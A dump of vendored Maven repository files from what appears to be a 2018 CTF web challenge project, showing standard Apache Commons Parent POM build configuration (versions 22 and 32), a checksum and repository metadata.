      <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </target>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <Implementation-Build>${implementation.build}</Implementation-Build>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <jvm>${commons.surefire.java}</jvm>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <!-- \n            dummy entry to stop bundle plugin from picking up jar config and reporting\n            WARNING: Duplicate name in Manifest\n            See http://markmail.org/message/mpkl24wk3jrjhhjg \n          -->\n          <archive> \n            <forced>true</forced> \n          </archive>\n          <excludeDependencies>true</excludeDependencies>\n          <manifestLocation>target/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <!-- Stop the JAVA_1_n_HOME variables from being treated as headers by Bnd -->\n            <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME</_removeheaders>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <!-- Needed for command-line access, e.g mvn apache-rat:rat and mvn apache-rat:check -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>buildnumber-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>validate</phase>\n            <goals>\n              <goal>create</goal>\n            </goals>\n          </execution>\n        </executions>\n        <configuration>\n          <!-- Use committed revision so it does not change every time svn update is run -->\n          <useLastCommittedRevision>true</useLastCommittedRevision>\n          <!-- default revision number if unavailable -->\n          <revisionOnScmFailure>??????</revisionOnScmFailure>\n          <!-- svnjava works even if an svn command-line client is not on the path -->\n          <providerImplementations>\n            <svn>javasvn</svn>\n          </providerImplementations>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <!-- N.B. plugins defined here in the <reporting> section ignore what's defined in <pluginManagement>\n         in the <build> section above, so we have to define the versions here. -->\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>${commons.javadoc.version}</version>\n        <configuration> \n          <!-- keep only errors and warnings -->\n          <quiet>true</quiet>\n          <source>${maven.compile.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docEncoding>${commons.docEncoding}</docEncoding>\n          <linksource>true</linksource>\n          <links>\n            <link>${commons.javadoc.java.link}</link>\n            <link>${commons.javadoc.javaee.link}</link>\n          </links>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>${commons.jxr.version}</version>\n        <configuration> \n          <aggregate>false</aggregate>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>${commons.project-info.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>3.0</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${commons.surefire.version}</version>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-2</version>\n      </plugin>\n      <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n              <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n\n    <profile>\n      <id>ci</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n    </profile>\n\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compile.source}</source>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>rc</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/staged</url>\n        </repository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prc</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compile.source}</source>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n                <releaseProfiles>apache-release</releaseProfiles>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-test-sources</id>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>          \n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.3\n       (JAVA_1_3_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.3</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.3</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_3_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_3_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.4\n       (JAVA_1_4_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.4</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.4</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_4_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_4_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.5\n       (JAVA_1_5_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.5</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.5</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_5_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_5_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.6\n       (JAVA_1_6_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.6</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.6</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_6_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_6_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!-- N.B. when adding new java profiles, be sure to update \n         the _removeheaders list in the maven_bundle_plugin configuration -->\n\n    <!-- \n     | Profile to allow testing of deploy phase\n     | e.g.\n     | mvn deploy -Ptest-deploy -Prelease -Dgpg.skip\n     -->\n    <profile>\n      <id>test-deploy</id>\n      <properties>\n        <altDeploymentRepository>id::default::file:target/deploy</altDeploymentRepository>\n      </properties>\n    </profile>\n   \n    <!--\n      Profile to build all Commons \"proper\" components.\n\n      The trunks of all \"proper\" components can be checked out using:\n          https://svn.apache.org/repos/asf/commons/trunks-proper/\n\n      This profile is a convenience which can be used, for example, to build all the component sites:\n          mvn -Ptrunks-proper site\n\n      or, to clean up:\n          mvn -Ptrunks-proper clean\n\n      see http://issues.apache.org/jira/browse/COMMONSSITE-30\n      -->\n    <profile>\n      <id>trunks-proper</id>\n      <modules>\n        <module>../beanutils</module>\n        <module>../betwixt</module>\n        <module>../chain</module>\n        <module>../cli</module>\n        <module>../codec</module>\n        <module>../collections</module>\n        <module>../compress</module>\n        <module>../configuration</module>\n        <module>../daemon</module>\n        <module>../dbcp</module>\n        <module>../dbutils</module>\n        <module>../digester</module>\n        <module>../discovery</module>\n        <module>../el</module>\n        <module>../email</module>\n        <module>../exec</module>\n        <module>../fileupload</module>\n        <module>../io</module>\n        <module>../jci</module>\n        <module>../jexl</module>\n        <module>../jxpath</module>\n        <module>../lang</module>\n        <module>../launcher</module>\n        <module>../logging</module>\n        <module>../math</module>\n        <module>../modeler</module>\n        <module>../net</module>\n        <module>../pool</module>\n        <module>../primitives</module>\n        <module>../proxy</module>\n        <module>../sanselan</module>\n        <module>../scxml</module>\n        <module>../validator</module>\n        <module>../vfs</module>\n      </modules>\n    </profile>\n\n    <!-- \n        Configure site plugin to support both Maven2 and Maven3, see:\n        http://maven.apache.org/plugins/maven-site-plugin/maven-3.html#Using_the_same_version_of_maven-site-plugin_for_both_Maven_2_and_Maven_3\n    -->\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  The basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    \n    <profile>\n      <!-- This profile detects Java 1.5 -->\n      <id>java-1.5-detected</id>\n      <activation>\n        <jdk>1.5</jdk>\n      </activation>\n      <build>\n        <plugins>\n          <!-- workround for FELIX-3037 which applies to bundle 2.3.5 -->\n          <plugin>\n            <!-- version 2.3.5 depends on bndlib 1.43.0 which requires Java 6; fix this -->\n            <groupId>org.apache.felix</groupId>\n            <artifactId>maven-bundle-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>biz.aQute</groupId>\n                <artifactId>bndlib</artifactId>\n                <!-- 1.43.0 requires Java 6; use previous version which works with Java 5--> \n                <version>1.15.0</version>\n              </dependency>\n            </dependencies>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <!-- \n          Generate release notes in top-level directory from src/changes/changes.xml\n          Usage:\n          mvn changes:announcement-generate -Prelease-notes\n          \n          Requires file src/changes/release-notes.vm.\n          A sample template is available from:\n          https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk/src/changes/release-notes.vm\n       -->\n      <id>release-notes</id>\n      <build>\n        <plugins>\n           <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>${commons.changes.version}</version>\n            <configuration>\n              <template>release-notes.vm</template>\n              <templateDirectory>src/changes</templateDirectory>\n              <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n              <outputDirectory>.</outputDirectory>\n              <announcementFile>RELEASE-NOTES.txt</announcementFile>\n              <announceParameters>\n                <releaseVersion>${commons.release.version}</releaseVersion>\n              </announceParameters>\n            </configuration>\n            <executions>\n              <execution>\n                <id>create-release-notes</id>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>announcement-generate</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>      \n    </profile>\n  </profiles>\n\n  <properties>\n    <!-- configuration bits for cutting a release candidate, must be overridden by components -->\n    <!-- must agree with project.version above -->\n    <commons.release.version>22</commons.release.version>\n    <commons.rc.version>RC1</commons.rc.version>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n\n    <!-- compiler and surefire plugin settings for \"java\" profiles -->\n    <commons.compiler.fork>false</commons.compiler.fork>\n    <commons.compiler.compilerVersion />\n    <commons.compiler.javac />\n    <commons.surefire.java />\n    \n    <!-- plugin versions (allows same value in reporting and build sections) -->\n    <commons.surefire.version>2.9</commons.surefire.version>\n    <commons.surefire-report.version>2.9</commons.surefire-report.version>\n    <commons.javadoc.version>2.8</commons.javadoc.version>\n    <commons.rat.version>0.7</commons.rat.version>\n    <commons.changes.version>2.6</commons.changes.version>\n    <commons.clirr.version>2.3</commons.clirr.version>\n    <commons.jxr.version>2.3</commons.jxr.version>\n    <commons.project-info.version>2.4</commons.project-info.version>\n\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.release.desc />\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n    <commons.release.2.name>${project.artifactId}-${commons.release.2.version}</commons.release.2.name>\n    <commons.release.2.desc />\n    <commons.release.2.binary.suffix>-bin</commons.release.2.binary.suffix>\n\n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- The RC version used in the staging repository URL. -->\n    <commons.rc.version>RC1</commons.rc.version>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${project.version};-noimport:=true</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>target/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: Make sure, that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n    <!-- Define encoding for filtering -->\n    <project.build.sourceEncoding>${commons.encoding}</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>${commons.encoding}</project.reporting.outputEncoding>\n\n    <!-- Javadoc link to Java API.  Default is Java 1.6; components can override to other versions -->\n    <commons.javadoc.java.link>http://download.oracle.com/javase/6/docs/api/</commons.javadoc.java.link>\n    <commons.javadoc.javaee.link>http://download.oracle.com/javaee/6/api/</commons.javadoc.javaee.link>\n\n    <!-- build meta inf -->\n    <maven.build.timestamp.format>yyyy-MM-dd HH:mm:ssZ</maven.build.timestamp.format>\n    <implementation.build>${scmBranch}@r${buildNumber}; ${maven.build.timestamp}</implementation.build>\n\n    <!-- Allow Clirr severity to be overriden by the command-line option -DminSeverity=level -->\n    <minSeverity>info</minSeverity>\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/22/commons-parent-22.pom.sha1",
    "content": "0e895fa7ed472b3b2081ef77e2d5ece78c139d54"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/32/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:42 CST 2018\ncommons-parent-32.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/32/commons-parent-32.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>13</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <version>32</version>\n  <name>Apache Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <description>The Apache Commons Parent POM provides common settings for all Apache Commons components.</description>\n\n<!--\nVersion 32:\n\n        Updated javadoc plugin to 2.9.1\n        This includes the fix for Javadoc vulnerability (CVE-2013-1571, VU#225657) MJAVADOC-370\n\nFor full details see:\nhttp://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-30/RELEASE-NOTES.txt\n -->\n\n  <!-- Now required by versions plugin -->\n  <prerequisites>\n    <maven>2.2.1</maven>\n  </prerequisites>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://vmbuild.apache.org/continuum/</url>\n  </ciManagement>\n\n  <!--\n    Starting with version 22, the RAT plugin has changed Maven group and id, so any existing configuration\n    needs to be updated.\n    To fix component POMs, please change any occurrences of:\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n    to the new values:\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n\n    Site deployment\n    ===============\n    Cannot define this here at present, see https://issues.apache.org/jira/browse/COMMONSSITE-26.\n\n    The following should be added to the component POM:\n\n    <distributionManagement>\n      <site>\n        <id>apache.website</id>\n        <name>Apache Commons Site</name>\n        <url>${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/${commons.componentid}</url>\n      </site>\n    </distributionManagement>\n\n    Coverage tool selection\n    =======================\n    Starting with release 30, there are optional profiles for both Cobertura and JaCoCo.\n    These can be enabled independently on the command-line:\n\n    mvn site -Pcobertura  -Pjacoco\n\n    Or the component can define a default coverage tool by creating either (or both) of the following files:\n\n    src/site/resources/profile.cobertura\n    src/site/resources/profile.jacoco\n\n    These can later be overridden by cancelling the profile:\n\n    mvn site -P!jacoco\n\n  -->\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-32</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-32</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-32</url>\n  </scm>\n\n  <mailingLists>\n    <!-- N.B. commons-site now uses the Apache POM so has its own copy of the mailing list definitions -->\n    <!--\n        Components should normally override the default mailing list report by using the comnand\n        mvn commons:mail-page\n        This generates the file src/site/xdoc/mail-lists.xml which when processed will replace the PIR version.\n     -->\n    <!-- Changes to this list should be synchronised with the commons build plugin -->\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.announce/</otherArchive>\n        <otherArchive>http://old.nabble.com/Apache-News-and-Announce-f109.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/announce@apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.apache.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <!-- TODO find a better way to add N&L files to jars and test jars\n         See also maven-remote-resources-plugin configuration below.\n    -->\n    <resources>\n      <!-- This is the default setting from the super-pom -->\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <!-- ensure test jars also get NOTICE & LICENSE files -->\n    <testResources>\n      <!-- This is the default setting from the super-pom -->\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <testResource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.4</version>\n        